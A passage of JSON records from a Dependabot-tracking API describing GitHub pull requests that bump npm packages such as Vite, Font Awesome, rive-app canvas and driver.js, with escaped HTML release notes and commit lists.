href=\"https://github.com/vitejs/vite/commit/70435b2551ee4fe3a0d55c8a3bb61b96f44d2763\"\u003e70435b2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMiscellaneous Chores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update dependency postcss-modules to v9 (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22867\"\u003e#22867\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/a9539d69efc7a4ccf988bbf5da31c2b416ba990e\"\u003ea9539d6\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCode Refactoring\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eeliminate ineffectiveDynamicImport warn (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22876\"\u003e#22876\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ea22fb352aad9a42c0a9d08f39d8a0bae8c111a5\"\u003eea22fb3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid warnings (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22851\"\u003e#22851\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/af21ab68adac3380dc9a854d2fe3f776654301cd\"\u003eaf21ab6\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBuild System\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove the custom onLog function (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22878\"\u003e#22878\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/2c4a217a63dc0a7fcb10bc710a988f32b173f481\"\u003e2c4a217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ereplace deprecated \u003ccode\u003eonwarn\u003c/code\u003e with \u003ccode\u003eonLog\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22741\"\u003e#22741\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c581b5588cb8e94603d17bce2ff9fec8e8e0a3bf\"\u003ec581b55\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/a477454442eff649b430f9e3c6caf2500fcb7183\"\u003e\u003ccode\u003ea477454\u003c/code\u003e\u003c/a\u003e release: v8.1.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ab5dafa8e66296ef201f615489fb57954bb740ce\"\u003e\u003ccode\u003eab5dafa\u003c/code\u003e\u003c/a\u003e feat(legacy): prefer oxc as minifier (fix \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/21973\"\u003e#21973\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22468\"\u003e#22468\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/173a1b648c321e0f836e5a94fc47c4fa9b081bfc\"\u003e\u003ccode\u003e173a1b6\u003c/code\u003e\u003c/a\u003e fix(ssr): align named export function call stacktrace column with Node (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22829\"\u003e#22829\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/575c32c29925c554f4ef4068738ab89c6878f615\"\u003e\u003ccode\u003e575c32c\u003c/code\u003e\u003c/a\u003e fix(build): add workaround for building on stackblitz (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22840\"\u003e#22840\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/72a5e2192506f51a5efd09c059815a5c43a9eacb\"\u003e\u003ccode\u003e72a5e21\u003c/code\u003e\u003c/a\u003e fix(optimizer): avoid optimizer run for transform request before init (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22852\"\u003e#22852\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/a9539d69efc7a4ccf988bbf5da31c2b416ba990e\"\u003e\u003ccode\u003ea9539d6\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency postcss-modules to v9 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22867\"\u003e#22867\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/70435b2551ee4fe3a0d55c8a3bb61b96f44d2763\"\u003e\u003ccode\u003e70435b2\u003c/code\u003e\u003c/a\u003e docs: fix incorrect \u003ccode\u003e@default\u003c/code\u003e for \u003ccode\u003eserver.cors\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22859\"\u003e#22859\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/2c4a217a63dc0a7fcb10bc710a988f32b173f481\"\u003e\u003ccode\u003e2c4a217\u003c/code\u003e\u003c/a\u003e build: remove the custom onLog function (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22878\"\u003e#22878\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/c581b5588cb8e94603d17bce2ff9fec8e8e0a3bf\"\u003e\u003ccode\u003ec581b55\u003c/code\u003e\u003c/a\u003e build: replace deprecated \u003ccode\u003eonwarn\u003c/code\u003e with \u003ccode\u003eonLog\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22741\"\u003e#22741\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ea22fb352aad9a42c0a9d08f39d8a0bae8c111a5\"\u003e\u003ccode\u003eea22fb3\u003c/code\u003e\u003c/a\u003e refactor: eliminate ineffectiveDynamicImport warn (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22876\"\u003e#22876\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v8.1.4/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Tomodo1773/my-profile/pull/20","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tomodo1773%2Fmy-profile/issues/20","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/20/packages"},{"uuid":"4889711311","node_id":"PR_kwDOS78mrM7x4Wce","number":13,"state":"closed","title":"chore(deps): bump the frontend-minor-patch group in /frontend-angular with 8 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-07-16T00:59:51.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-15T05:50:25.000Z","updated_at":"2026-07-16T00:59:54.000Z","time_to_close":68966,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"frontend-minor-patch","update_count":8,"packages":[{"name":"@fortawesome/free-solid-svg-icons","old_version":"7.2.0","new_version":"7.3.0","repository_url":"https://github.com/FortAwesome/Font-Awesome"},{"name":"@rive-app/canvas","old_version":"2.38.2","new_version":"2.38.5","repository_url":"https://github.com/rive-app/rive-wasm"},{"name":"driver.js","old_version":"1.6.0","new_version":"1.7.0","repository_url":"https://github.com/nilbuild/driver.js"},{"name":"firebase","old_version":"12.15.0","new_version":"12.16.0","repository_url":"https://github.com/firebase/firebase-js-sdk"},{"name":"laravel-echo","old_version":"2.3.7","new_version":"2.4.0","repository_url":"https://github.com/laravel/echo"},{"name":"autoprefixer","old_version":"10.5.0","new_version":"10.5.3","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.8.4","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"}],"path":"/frontend-angular","ecosystem":"npm"},"body":"Bumps the frontend-minor-patch group in /frontend-angular with 8 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@fortawesome/free-solid-svg-icons](https://github.com/FortAwesome/Font-Awesome) | `7.2.0` | `7.3.0` |\n| [@rive-app/canvas](https://github.com/rive-app/rive-wasm) | `2.38.2` | `2.38.5` |\n| [driver.js](https://github.com/nilbuild/driver.js) | `1.6.0` | `1.7.0` |\n| [firebase](https://github.com/firebase/firebase-js-sdk) | `12.15.0` | `12.16.0` |\n| [laravel-echo](https://github.com/laravel/echo) | `2.3.7` | `2.4.0` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.0` | `10.5.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.4` | `3.9.5` |\n\nUpdates `@fortawesome/free-solid-svg-icons` from 7.2.0 to 7.3.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/FortAwesome/Font-Awesome/releases\"\u003e@​fortawesome/free-solid-svg-icons's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 7.3.0\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChange log available at \u003ca href=\"https://fontawesome.com/docs/changelog/\"\u003ehttps://fontawesome.com/docs/changelog/\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FortAwesome/Font-Awesome/commit/70fb2dd154b617f62fc4ae5b0b7e2943bfd2aa96\"\u003e\u003ccode\u003e70fb2dd\u003c/code\u003e\u003c/a\u003e Release 7.3.0 (\u003ca href=\"https://redirect.github.com/FortAwesome/Font-Awesome/issues/21612\"\u003e#21612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FortAwesome/Font-Awesome/compare/7.2.0...7.3.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@rive-app/canvas` from 2.38.2 to 2.38.5\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/rive-app/rive-wasm/blob/master/CHANGELOG.md\"\u003e@​rive-app/canvas's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.4...2.38.5\"\u003e2.38.5\u003c/a\u003e\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix(peon_worker): Handle vulkan initialization errors in gpu recorder (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13035\"\u003e#13035\u003c/a\u003e) 37997d7366 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/fc180dd0347ab46a87cbb90e6b3d89987b5dc46a\"\u003e\u003ccode\u003efc180dd\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(runtime): add new core type (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12981\"\u003e#12981\u003c/a\u003e) ac4657c21c \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/9687c8634b0d375e0f80aa0acff46d9431e69452\"\u003e\u003ccode\u003e9687c86\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(js): add miniaudio to Closure externs to prevent cross-runtime audio clash (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13017\"\u003e#13017\u003c/a\u003e) 48df83c484 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d57345685a201efd953773a935b5222819ca9e46\"\u003e\u003ccode\u003ed573456\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(runtime): expose data bind runtime methods (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13018\"\u003e#13018\u003c/a\u003e) eb0c54ee20 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/507405fd975755c6ea94f22cf8987ae1219b86ab\"\u003e\u003ccode\u003e507405f\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf(tests): Spawn image_diff.py only once per job (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13013\"\u003e#13013\u003c/a\u003e) c4ea178471 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/82ff2efdd4f533dc7147a1d7045529303cc4ecc9\"\u003e\u003ccode\u003e82ff2ef\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(build): Don't compile metal shaders for android or wasm (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13015\"\u003e#13015\u003c/a\u003e) 19d8fb7957 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/edb82799f75a0bcfd1d8efe9f213ce3b6972b191\"\u003e\u003ccode\u003eedb8279\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime): ensure lua data is initialized (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13010\"\u003e#13010\u003c/a\u003e) e27bf13d74 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/0c7181d3bdc107d0ae1f46ee19a941d370b3f049\"\u003e\u003ccode\u003e0c7181d\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: test.blob(name) reads blob assets from test scripts (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13005\"\u003e#13005\u003c/a\u003e) afd68206e6 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/c2d5dc68c5d7244f496ce0ebda29ebef3ff4c951\"\u003e\u003ccode\u003ec2d5dc6\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(scripting): Advance detached view model instances at end of frame (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13002\"\u003e#13002\u003c/a\u003e) a77c1355bd \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/5c60809c034c613286278ae5bf8f934988cedced\"\u003e\u003ccode\u003e5c60809\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(scripting): 3D Vector ops, Mat4 lookAt/ortho, Vector buffer writes, GPUBuffer write source range (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13003\"\u003e#13003\u003c/a\u003e) ef0e100413 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/f524730aeb0f4b92b5507df365eafd4413230c4b\"\u003e\u003ccode\u003ef524730\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature (Unreal) Ore Support (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12941\"\u003e#12941\u003c/a\u003e) eeb280d7f9 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/2f40bb64d3dbfae916401c36b3c25dc8e7356070\"\u003e\u003ccode\u003e2f40bb6\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: rev Luau to rive_0_728 (upstream 0.728) (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13000\"\u003e#13000\u003c/a\u003e) e4c22c3ef7 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/600e35d9f60bd3c74686271e69983ef3442ae551\"\u003e\u003ccode\u003e600e35d\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime): validate bindablePropertyInstance before using it (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12989\"\u003e#12989\u003c/a\u003e) e2c7b48dc0 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d32afbb5af675ee1f92129852781f9e02ad53f11\"\u003e\u003ccode\u003ed32afbb\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTexture compression fixups (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12939\"\u003e#12939\u003c/a\u003e) a23e2ba586 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/66da7b7e4ebe9f41329eb039b3b14c618f310b41\"\u003e\u003ccode\u003e66da7b7\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.3...2.38.4\"\u003e2.38.4\u003c/a\u003e - 2026-07-01\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: tag 2.38.4 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/1d7d8292fcc4e8d49a25b89ba451c183a1d4c996\"\u003e\u003ccode\u003e1d7d829\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(editor - text input): expose trigger property to focus on text i… (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12975\"\u003e#12975\u003c/a\u003e) 50fdb3bb9f \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/ff5fdbda432b3838615402c299bac682e742d73c\"\u003e\u003ccode\u003eff5fdbd\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime-focus): resolve focus to first leaf on direct focus (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12974\"\u003e#12974\u003c/a\u003e) d607980229 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/b164d37c771741e9fd09973882bc0422570d6803\"\u003e\u003ccode\u003eb164d37\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(image): compose layout fit as a separate scale so user scale stays independent (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12896\"\u003e#12896\u003c/a\u003e) c372d0d9d4 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/36fb99af1d4ee2c3a49f8c7a6b5fbf92e44ae916\"\u003e\u003ccode\u003e36fb99a\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: ore buffer per-frame update race (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12976\"\u003e#12976\u003c/a\u003e) cc34cea963 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/dc8e0ed2ffcb6fb070f0fec2b269bfb86617a8ec\"\u003e\u003ccode\u003edc8e0ed\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(apple): add semantics support (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12642\"\u003e#12642\u003c/a\u003e) 9f3eef8634 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d82357f7da6d554a73ee6d7573729812e0fa7598\"\u003e\u003ccode\u003ed82357f\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(runtime): add semantics command queue api (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12198\"\u003e#12198\u003c/a\u003e) bd587cb83f \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d4d9933cf28397332cb6cc2c71521e31b1bf2a62\"\u003e\u003ccode\u003ed4d9933\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add artboard volume to command queue/server (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12816\"\u003e#12816\u003c/a\u003e) 88115b0949 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/e7a79809ad46362587e8600d590b147f7fe76567\"\u003e\u003ccode\u003ee7a7980\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRev Luau to rive_0_726 (upstream 0.726) (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12953\"\u003e#12953\u003c/a\u003e) 61822bb247 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/6133d67ec22e39ee96a81800ffa131d684ef32b6\"\u003e\u003ccode\u003e6133d67\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(editor): add view model uses to dependencies panel (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12948\"\u003e#12948\u003c/a\u003e) 63b8450361 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/1f94d639695bee2f72c57194bd0150f145e8738e\"\u003e\u003ccode\u003e1f94d63\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(renderer): Update dead macro names (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12933\"\u003e#12933\u003c/a\u003e) 09c54e8737 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/5ce487317d41b27c73daa4528b8c86fc5e777a69\"\u003e\u003ccode\u003e5ce4873\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.2...2.38.3\"\u003e2.38.3\u003c/a\u003e - 2026-06-24\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: tag 2.38.3 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/df35482bbbebefa872158c0d29dd6b1ec2a2c4d7\"\u003e\u003ccode\u003edf35482\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(runtime): bidirectional data bind with source preference does not… (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12927\"\u003e#12927\u003c/a\u003e) adb0834474 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/1b6d428236e8dca9663a7e92748814a2f7843c19\"\u003e\u003ccode\u003e1b6d428\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(renderer): Add scissor support to more backends (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12778\"\u003e#12778\u003c/a\u003e) 424d2323f9 \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/f4e5e4c8f849b8ab7bba08cdb608c29e3174a01b\"\u003e\u003ccode\u003ef4e5e4c\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNnnnn focus management fixes (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12303\"\u003e#12303\u003c/a\u003e) b2438309fa \u003ca href=\"https://github.com/rive-app/rive-wasm/commit/760e86ba05ca86aca88be3c2ef5ec2dd3418efcf\"\u003e\u003ccode\u003e760e86b\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/761c318fb4931f18852e07cedb49ef4053843bd6\"\u003e\u003ccode\u003e761c318\u003c/code\u003e\u003c/a\u003e chore: tag 2.38.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/fc180dd0347ab46a87cbb90e6b3d89987b5dc46a\"\u003e\u003ccode\u003efc180dd\u003c/code\u003e\u003c/a\u003e fix(peon_worker): Handle vulkan initialization errors in gpu recorder (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13035\"\u003e#13035\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/9687c8634b0d375e0f80aa0acff46d9431e69452\"\u003e\u003ccode\u003e9687c86\u003c/code\u003e\u003c/a\u003e chore(runtime): add new core type (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/12981\"\u003e#12981\u003c/a\u003e) ac4657c21c\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/d57345685a201efd953773a935b5222819ca9e46\"\u003e\u003ccode\u003ed573456\u003c/code\u003e\u003c/a\u003e fix(js): add miniaudio to Closure externs to prevent cross-runtime audio clas...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/507405fd975755c6ea94f22cf8987ae1219b86ab\"\u003e\u003ccode\u003e507405f\u003c/code\u003e\u003c/a\u003e chore(runtime): expose data bind runtime methods (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13018\"\u003e#13018\u003c/a\u003e) eb0c54ee20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/82ff2efdd4f533dc7147a1d7045529303cc4ecc9\"\u003e\u003ccode\u003e82ff2ef\u003c/code\u003e\u003c/a\u003e perf(tests): Spawn image_diff.py only once per job (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13013\"\u003e#13013\u003c/a\u003e) c4ea178471\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/edb82799f75a0bcfd1d8efe9f213ce3b6972b191\"\u003e\u003ccode\u003eedb8279\u003c/code\u003e\u003c/a\u003e fix(build): Don't compile metal shaders for android or wasm (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13015\"\u003e#13015\u003c/a\u003e) 19d8fb7957\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/0c7181d3bdc107d0ae1f46ee19a941d370b3f049\"\u003e\u003ccode\u003e0c7181d\u003c/code\u003e\u003c/a\u003e fix(runtime): ensure lua data is initialized (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13010\"\u003e#13010\u003c/a\u003e) e27bf13d74\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/c2d5dc68c5d7244f496ce0ebda29ebef3ff4c951\"\u003e\u003ccode\u003ec2d5dc6\u003c/code\u003e\u003c/a\u003e feature: test.blob(name) reads blob assets from test scripts (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13005\"\u003e#13005\u003c/a\u003e) afd68206e6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/rive-app/rive-wasm/commit/5c60809c034c613286278ae5bf8f934988cedced\"\u003e\u003ccode\u003e5c60809\u003c/code\u003e\u003c/a\u003e fix(scripting): Advance detached view model instances at end of frame (\u003ca href=\"https://redirect.github.com/rive-app/rive-wasm/issues/13002\"\u003e#13002\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/rive-app/rive-wasm/compare/2.38.2...2.38.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `driver.js` from 1.6.0 to 1.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nilbuild/driver.js/releases\"\u003edriver.js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.7.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eskipMissingElement\u003c/code\u003e option to skip a step whose target element is missing (\u003ca href=\"https://redirect.github.com/nilbuild/driver.js/issues/489\"\u003e#489\u003c/a\u003e, \u003ca 